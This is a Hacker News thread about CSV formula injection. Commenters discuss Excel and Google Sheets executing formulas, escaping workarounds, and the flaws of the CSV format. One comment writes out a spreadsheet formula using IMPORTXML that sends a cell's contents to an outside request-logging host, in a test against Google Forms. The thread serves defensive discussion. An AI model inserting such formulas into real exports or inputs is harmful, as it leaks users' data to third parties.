8 ms·
Dangers of CSV Injection
- fulafel 9y agoThis is foremost a vulnerability in Excel and Google Sheets, like the article concludes, though it warrants workarounds in CSV producers. Why would these apps go off executing code from a text file? How odd. Is there a way to tell Excel or Sheets to open a CSV file without executing code?
- cm2187 9y agoAgree it is completely absurd to allow formulas in a CSV file, let alone code. I have never seen a way to disable a full recalculation when Excel opens a CSV file, which beyond the security implications is painful for people like me who keep their calculations on manual because I often have very heavy workbooks opened all the time.
- sanotehu 9y agoYes, through the "Import" feature. Excel will in that case allow you to choose what "type" each column in the CSV has (and will not parse text if given the "text" type). The problem is that a lot of users (myself included) will use muscle memory and double-click a CSV file in windows explorer rather than opening up Excel and initiating an import.
- yjftsjthsd-h 9y agoSo why does it not import when opening files?
- mijamo 9y agoBecause you can create documents with formulas, save them as CSV and open them again. If it did an import when opening, the operation save A -> load A would result in a different result than the file you had when you clicked saved. or at least this the most logical explanation I could find.
- pbhjpbhj 9y agoSo a safe-import could import all columns as text (without interpretation) and offer to parse columns with a predictive input type suggestion.
- matt_kantor 9y agoMy first thought was this dead-simple solution: just pop up a prompt when opening CSVs. "Do you want to run formulas from this CSV file?" No need for complicated import wizards, just a simple yes/no.
- pbhjpbhj 9y ago"Yes/no/always/always for all files (see settings>blah>foo to change this option" would seem more user friendly to me, or is that too many options?
- matt_kantor 9y agoSure. I was just trying to come up with the simplest possible thing as a counter to the author's "it's too hard to fix vulnerabilities in existing spreadsheet programs" assertion. Microsoft and Google could probably bang out a dialog like that in a week if they were motivated.
- Dylan16807 9y ago> Well, despite plentiful advice on StackOverflow and elsewhere, I’ve found only one (undocumented) thing that works with any sort of reliability: For any cell that begins with one of the formula triggering characters =, -, +, or @, you should directly prefix it with a tab character. >Unfortunately that’s not the end of the story. The character might not show up, but it is still there. A quick string length check with =LEN(D4) will confirm that. The documented way is prefixing with a ' character. It doesn't have the length issue either. As to the root issue, I can't think of any perfect way to transfer a series of values between applications that apply different types to those values and applications that don't. At some point, something is going to have to guess.
- ballenf 9y agoCame here to say the same. Also tested it to confirm and the single quote mark inside the double quotes does indeed force interpretation as a string instead of a formula. In both Excel and Google Sheets. Interestingly, in Excel removing the quotes entirely also causes a formula to be interpreted as a formula and text (even with spaces) as text and numbers as numbers. In my testing, quotes are only needed when a field contains a comma to prevent it being interpreted as a delimiter.
- jdelStrother 9y agoThat's just a single regular apostrophe? At least on my machine, with Mac Excel 15.38, if I have a CSV containing: 1,foo,'=SUM(A1:A10),bar and open it, then the single apostrophe is visible in the cell.
- elliottcarlson 9y agoYou should actually append it to the trigger; i.e. 1,foo,='SUM(A1:A10),bar
- fulafel 9y agoI think the common model people had of CSV was that it was an imperfect way to transfer values, but safeish from code execution, XSS or "all your Google account data gets exfiltrated" type effects.
- Swizec 9y agoThis brings XSS to a whole new level. Imagine what happens if you know some of what you post in a website as a user eventually gets reviewed by somebody who gets it through a CSV dump. Makes me wanna troll ops people at my own startup just for funsies.
- _betty_ 9y agothis used to be common with txt files and IE's terrible practice of sniffing content. It would see a txt file that contained html and display the html instead, it could then pull in a secret silverlight file that was mascarading as a docx file as they are both simply zip files. Even more amusingly silverlight and docx contents don't clash so it could still be a valid docx file if you opened it, and the txt file would look like txt even though it was really rendering html with a hidden silverlight app.
- TAForObvReasons 9y agoCSV is a pretty poor format in that it mixes the presentation and the underlying values. There is no standard for dates (dd/mm/yyyy or mm/dd/yyyy ?). The "standard" RFC4180 is extremely vague when discussing value interpretation. As proprietary as XLSX is, at least the Excel format separates the raw values from the presentation.
- cozzyd 9y agoIt would be interesting if spreadsheets supported a sub-set of a binary interchange format like FITS or HDF5.
- pmoriarty 9y agoThere's nothing in CSV that has anything to do with presentation (nor with what the underlying values are, for that matter). These vulnerabilities can't be blamed on CSV so much as on the desire of application vendors to treat data as code.
- mjevans 9y agoCSV was only ever intended to store simple text and simple numbers. Dates are a /type/ of text; parsing dates in to machine readable formats is an /entire/ other can of spam.
- Dylan16807 9y agoCSV is a format for two-dimensional text values, and nothing beyond that. It's not a poor format, it's a simple low-level format.
- mulmen 9y agoExcept if your raw value begins with a "'". Or if it is 2017/10/10, or 10/10/2017, then it may be represented by an integer with a format of "date". Or if your raw value is 1234567890123456789, then you get a string like '1.23456789012345e18', complete with modified data. Or if it begins with an "=" which could result in basically anything as the article points out. Excel conflates the idea of display format and data type which is the source of countless headaches. It is legacy pain in the purest form.
- kristofferR 9y agoCSV is hell. Some idiot somewhere decided that Comma Separated Values in certain locales should be based on semicolons (who would have thought files would be shared across country borders!?), so when we open CSV files that are actually comma separated all the information is in the first cell (until a semicolon appears). To get comma separated CSVs to show properly in Excel we have to mess around with OS language settings. CSV as a format should have died years ago, it's a shame so many apps/services only export CSV files. Many developers (mainly US/UK based) are probably not aware of how much of a headache they inflict on people in other countries by using CSV files.
- erik_seaberg 9y agoA CSV importer absolutely needs to be configurable. I've seen delimiters including tabs, vertical bars, tildes, colons, and random control characters (they didn't even choose RS and US).
- kristofferR 9y agoI shouldn't have to resort to arcane concepts like importing files to get them to display properly when people in other locales can just open them.
- Piskvorrr 9y agoGood luck with configuration if your CSV parser is ten layers removed from any human, and still needs to get it right. Now what? (Now we guess. We call it "heuristics," of course.)
- Raticide 9y agoWhat's a good alternative non-proprietary format that all major spreadsheet software supports?
- kristofferR 9y agoUnicode is vast. There's absolutely no good reason we don't have Snowman Separated Values (or some other proper separator sign that isn't commonly used elsewhere) other than that people don't demand it.
- top_post 9y agoSorry to balk, but I'm more outraged at the title, another injection I need to talk about that isn't really the case. The root cause is the interpreter executing untrusted input, the same can be said about macros or any other file type. The perception being most people open CSV files on a regular basis and perceive them to be safe or not interpreted when it appears they are.
- bitexploder 9y agoWell, it catches folks by surprise. We could abstract all computer vulns down to a few broad computing concepts, but that isn't as useful. This one is your data turned out to be code. There are many, many books on all the various forms this takes. Memory corruption cat and mouse..... It is a long complex story that we can sweep up to that generalization. But it is important to know that high, medium, and low level of these issues. They form a gigantic tree. The medium level somewhere between is where devs need to threat model most of the time. But some of the time things are very specific and you just need to know about the specific thing and not it's various generalized forms, because the specific thing can really matter. E.g. simple programming mistakes lead to side channels, etc. We can generically understand a side channels easily. But it takes a ton of specific hard earned knowledge to avoid it.
- top_post 9y agoIt kind of is more useful to abstract them, so we're not whack-a-moling the current hype or hot title of the day and can focus on the fundamental issues. I agree, it catches people off guard to think CSV files once interpreted can do more than give columns of information, but it's not an injection which is my beef.
- bitexploder 9y agoYou have to do both. When something unusual comes up it is good to file it away as a possibility. To be fair these have ways been "obvious" on pentests. When you start from the point of all input is dangerous, how can I abuse this one, it becomes the logical conclusion to put in an Excel formula. That is your point, I think. But my experience has told me some inputs are just assumed safe, even by developers that program defensively. So you have to embrace both IMO.
- bitexploder 9y agoI have been finding this vulnerability in apps since I started in infosec 10 years ago. I have seen it go any number of ways: CSV -> import on web app -> SQLi Malicious input -> CSV download from web app -> Excel -> formula -> sneaky data exfil CSV -> JS -> import into web app XSS (in places no other XSS existed because of the data) CSV import -> weird CSV header -> arbitrary data loading (headers were column names.... Schema injection .. like SQLi only more hilarious Point is apps and devs can have blind spots (knowledge gaps) or just not think of a CSV import or export like other functionality.
- e1g 9y agoWe recently went through an external pentest simulating a hostile actor with inside information. We had 2 weeks to prepare and successfully defended against timing attacks, DDoS attempts, identity spoofs, request modifications, script injections etc. Passed with flying colors... except for CSV/Excel injection. Everyone looked at each other with the sheepish embarrassment of being pwned by a script kiddie. This was a total blind spot indeed, even after we reviewed every other user I/O.
- captn3m0 9y agoWere you generating CSVs or importing them?
- e1g 9y agoGenerating CSV/Excel extracts, which included the user's first name and feedback comments verbatim - thus creating 2 injection points for malicious formulas.
- f00_ 9y ago>defend against DDoS but not sanitizing user input >calling a pentested a script kiddie welp, my work is done here
- e1g 9y ago
- hutch120 9y agoLittle Bobby Tables reminds us to sanitize our database inputs. https://imgs.xkcd.com/comics/exploits_of_a_mom.png https://imgs.xkcd.com/comics/exploits_of_a_mom.png
- billpg 9y agoThat's bad advice. http://blog.hackensplat.com/2013/09/never-sanitize-your-inputs.html http://blog.hackensplat.com/2013/09/never-sanitize-your-inpu...
- trishmapow2 9y agoExpected something revolutionary, turned out to be an argument over semantics...
- billpg 9y agoI'm going to interpret your comment as high praise. If you object to that interpretation, I'll dismiss your objection as just an argument over semantics. :)
- ecesena 9y agoDoes anybody know any good library that solve the problem, in any language?
- Cyranix 9y agoThis seems like an appropriate place to suggest that anyone who finds these kinds of attack vectors interesting should check out the bug bounty program for my current place of work, which processes loads of CSV and Excel files from government customers. https://bugcrowd.com/socrata https://bugcrowd.com/socrata (But please, just do me a small favor and don't submit any reports for SQL injection or information disclosure if you're using the SQL-like API that we expressly provide for the purpose of accessing public data. We get a couple clueless people sending such reports every week.)
- stepri 9y agoWhen you import a CSV file into Google Sheets (File -> Import), you can choose in the dialog to convert text to numbers and dates. If you choose not to convert, Google Sheets places a single quote (') before the function.
- ComodoHacker 9y agoMy Excel 2010 doesn't execute shell code from author's example. Heck, it doesn't even parse CSV and loads everything into one column as text. What am I doing wrong?
- randkyp 9y agoAs weird as it sounds, it might be related to your system region settings, specifically the decimal point sign and the thousands separator sign. I've been only able to open CSVs by manually importing them with Excel's 'import data from text file' function.
- tyingq 9y agoIt does depend on using the csv file extension. Anything else brings up the import wizard.
- splike 9y agoInterestingly, genetic biologists are probably more aware of this problem than most. When importing a CSV containing gene names such as SEPT2 or MARCH1, they automatically get converted to dates by Excel. This has potentially had a fairly large effect on research in the area [1]. One of the many reasons we insist on only using Ensembl IDs for genes at my company. [1] https://genomebiology.biomedcentral.com/articles/10.1186/s13059-016-1044-7 https://genomebiology.biomedcentral.com/articles/10.1186/s13...
- xelxebar 9y agoJust curious, but what about non-vertebrates? I'd have expected there to be an official number/hash that identifies genes like the InChI Key for chemistry or something. IIRC, that key in particular is just a SHA-256 of a long human-readable "chemical formula".
- splike 9y agoWe'll cross that bridge when we come to it I guess, but we work almost exclusively with human and mouse genomes for now. In any case, I imagine the Ensembl ID is still safer than other encodings in the case of invertebrates. For example, genes IDs in the Fruit fly genome look like FBgn0034730.
- krylon 9y agoFWIW, I (not a biologist, though) only use LibreOffice for importing CSV these days. It allows me to look at the fields first and tell it if I want to suppress special treatment of data in a column. EDIT: LibreOffice also allows you to tell it what encoding a file uses and what character(s) are used as separators.
- sixbrx 9y agoI noticed this in the data of some scientists I work with. Another awful thing is that when you tell them they need to format the column as text to prevent this in the future, before the data is put in the column (very important!), they'll eventually try to apply it to their existing fubar spreadsheets as well - in which case the "date-recognized" genes become ... large numbers representing the number of days since 1900, totally unrecognizable.
- datenwolf 9y agoThe thing that puzzles me the most is, that people use _C_SV at all. Separation by comma, or any other member of the printable subset of ASCII in the first place. What this essentially boils down to is ambiguous in-band-signalling and a contextual grammar. ASCII had addressed the problem of separating entries ever since its creation: Separator control codes. There are: x01 SOH "Start of Heading" x02 STX "Start of Text" x03 ETX "End of Text" x04 EOT "End of Transmission" x1C FS "File Separator" x1D GS "Group Separator" x1E RS "Record Separator" x1F US "Unit Separator" You can use those just fine for exchanging data as you would using CSV, but without the ambiguities of separation characters and the need to quote strings. Heck if payload data is limited to the subset ASCII/UTF-8 without control codes you can just dump anything without the need for escaping or quoting. So my suggestion is simple. Don't use CSV or "P"SV (printable separated values). Use ASV (ASCII separated values).
- davedx 9y agoThe article kind of addresses this. There are millions of spreadsheets and applications out in the wild that use CSV to communicate. Sure, if you're building some kind of system where you need to ingest data from one application from another application you control, then using a different interchange format like ASV is an option. But then people tend to use more powerful formats like JSON or XML.
- dspillett 9y ago> There are millions of spreadsheets and applications out in the wild that use CSV to communicate. That, and data in CSV format is human readable in any old text editor or even work processor which many use as a quick sanity check to make sure their data looks sane. A lot of editors will not display the ASCII control characters at all so the fields on the line get mashed together, or may even reject the file as containing what it considers to be unexpected characters.
- steventhedev 9y agoMore to the point, it's easy to export from Excel, which is a massive pain to load in any non-.NET language. While it's great to hope to use a well defined transport for machine-to-machine communication, it's exhausting to explain anything beyond CSV to Bob from sales.
- Mortiffer 9y agoIncase anyone else was wondering about Google Forms : I tried inputting =IMPORTXML(CONCAT("https://requestb.in/15z4vk51?f=",H8 https://requestb.in/15z4vk51?f=",H8),"//a") into a text field and google automatically appends a "'" such that '=IMPORTXML does not execute
- jasonmaydie 9y agoShouldn't this be the dangers of Excel? CSVs are benine
- jkabrg 9y agoSlightly off-topic, but maybe we need a fully standardized and unambiguous CSV dialect with its own file extension. Or maybe just use SQLite tables or Parquet? Some things I dislike about CSV: * No distinction between categorical data and strings. R thinks your strings are categories, and Pandas thinks your categories are strings. * I'm not a fan of the empty field. Pandas thinks it's a floating point NaN, while R doesn't. So is it a NaN? Is it an empty string? Does it mean Not Applicable? Does it mean Don't Know? Maybe it should be removed altogether. * No agreement about escape characters. * No agreement about separator characters. * No agreement about line endings. * No agreement about encoding. Is it ASCII, or UTF-8, or UTF-16, or Latin-whatever? * None of the choices above are made explicit in the file itself. They all have the same extension "CSV". These use up a bit of time whenever I get a CSV from a colleague, or even when I change operating system. Sometimes I end up clobbering the file itself. Good things: * Human readable. * Simple. I think the addition of some rules, and a standard interpretation of them, could go some way to improving the format.
- kqr 9y agoSee, one of the reasons CSV managed to get so ubiquitous is precisely because all those things are unspecified. CSV is not a popular format; CSV is the name we give 960 visually similar but very different formats that as a collective are popular. The thing you use CSV for is not it's technical merit. You use CSV for its ubiquity. If you nailed down all those things you talk about, you would have a much, much smaller user base and there would be no reason to use CSV in the first place. (Hey, this reminds me of a similar situation governing s/CSV/C/g...)
- f00_ 9y ago.parquet fam, it's all about columnar data stores now
- tomc1985 9y agoXKCD covered this: https://xkcd.com/927/ https://xkcd.com/927/
- johnwilkesbooth 9y ago> No distinction between categorical data and strings. R thinks your strings are categories, and Pandas thinks your categories are strings. I think this is more of an R-ism than a standardization issue. Strings are a pretty universal data type, where as categorical data (factors) are mostly specific to the domain of statistical modeling. IMO Python is doing the correct thing here. Personally I find factors to be more trouble than they are worth, and fortunately `data.table::fread` mimics Python in this regard.
- jaclaz 9y agoAt least here (Italy) CSV is not commonly used (because of the different way we use the comma as a decimal point) and the default (in Excel) separator is then set to a semi-colon. A more common format is TSV (TAB delimited) which makes a lot more sense, however the best choice when importing data in Excel is still to change the file extension to a non-recognized extension (like - say - .txt) and in the "import wizard" set the appropriate separator and set all columns as "text".
- beached_whale 9y agoExcel protects for this, at least mine does v2013
- Piskvorrr 9y agoAs mentioned, protects by showing a wall of text with "yes" preselected at bottom; equally useless and annoying.
- pavel_lishin 9y agoExcel is the source of so many problems. At work, we ask users for an input in CSV or Excel format, and most people see "CSV" and export Excel data as CSV. Which is fine and great, but long numbers - such as UPCs - show up in Excel as scientific notation, being big scary numbers, and also get exported as such. So when an Excel cell contains the UPC 123456123456, we get a CSV file that contains "1.23456E+11", which is worse than useless.
- pc86 9y agoI used to work in third-party logistics and a big project of mine was an automated file import process, so folks could send us their daily/hourly orders for processing and fulfillment. I'd say roughly 65-70% of the entire code base was error handling and figuring out when to kick out a file for human review and/or outright deny it and contact the customer. The hardest ones to work with were the mom and pop shops who suddenly had some success on Amazon and came to us after fulfilling out of their garage for a year and a half. Try telling a semi-retired 60 year old electrician in the middle of Iowa that the file he sent is worthless because none of the product codes match what you have, especially when once he closes the file he doesn't have any idea where it is.
- mratzloff 9y agoA long time ago I did the same work with banks. The effect was the same. It was amazing to me how bank employees could somehow find a way to regularly insert ASCII control characters into a CSV value.
- robterrin 9y agoOn a consulting project a few years ago, I was brought in to help a Fortune 500 energy company make sense of the value at risk model that one guy had built over 20 years in VBA. Most of it was pulling from excel spreadsheets brokers would send daily with prices. What. A. Nightmare. It was hard to decide what I hated most about the project. The mind numbing stupidity of it. That fact that managers had allowed this single point of failure, and then let the guy leave. Or... that it was all a fictitious dance, pursued because spinning off their trading operations, would get them millions in tax subsidies.
- captn3m0 9y agoOn the first attack vector: Google Security has a nice post about it [0] and why they do not consider it a valid threat. This is their reasoning: >CSV files are just text files (the format is defined in RFC 4180) and evaluating formulas is a behavior of only a subset of the applications opening them - it's rather a side effect of the CSV format and not a vulnerability in our products which can export user-created CSVs. This issue should mitigated by the application which would be importing/interpreting data from an external source, as Microsoft Excel does (for example) by showing a warning. In other words, the proper fix should be applied when opening the CSV files, rather then when creating them. [0]: https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection https://sites.google.com/site/bughunteruniversity/nonvuln/cs... Their policy makes it sound like that the second vulnerability should indeed be fixed in Google Sheets itself (it is the one opening the file, after all)
- filereaper 9y agoI'd be curious if anyone has hit exploits with CSV files and bulk ingestion into datawarehouses (eg Redshift, Greenplum, etc..) as opposed to Excel. CSVs are still the most portable format for moving data around despite all of their evils of escaping characters, comma delimitation, etc... A lot of old legacy systems know CSV and its easy to inspect visually as compares to more efficient binary formats like ORC or Paquet.
- jonnycomputer 9y agoCSV is a mess (are a mess?), but all these vulnerabilities have to do with spreadsheet applications' consumption of CSVs. There are very legitimate reasons a CSV might include fragments of potentially executable code, after all.
- Lambent 9y agoRather than asking "Do you trust this workbook?", why not ask "Do you want to import values or values and formulas?" then two buttons: "Import formulas and values" and "Import values only". Import values only should be the default
- tatersolid 9y agoLike it or not, Excel’s behavior defines the CSV file format and how it is used in the real world. The writing of an RFC 15 years too late has not and will never “fix” CSV. It’s crusted over over with bugs and inconsistencies for all time. Use anything else, even XLSX which is at least a typed and openly standardized format.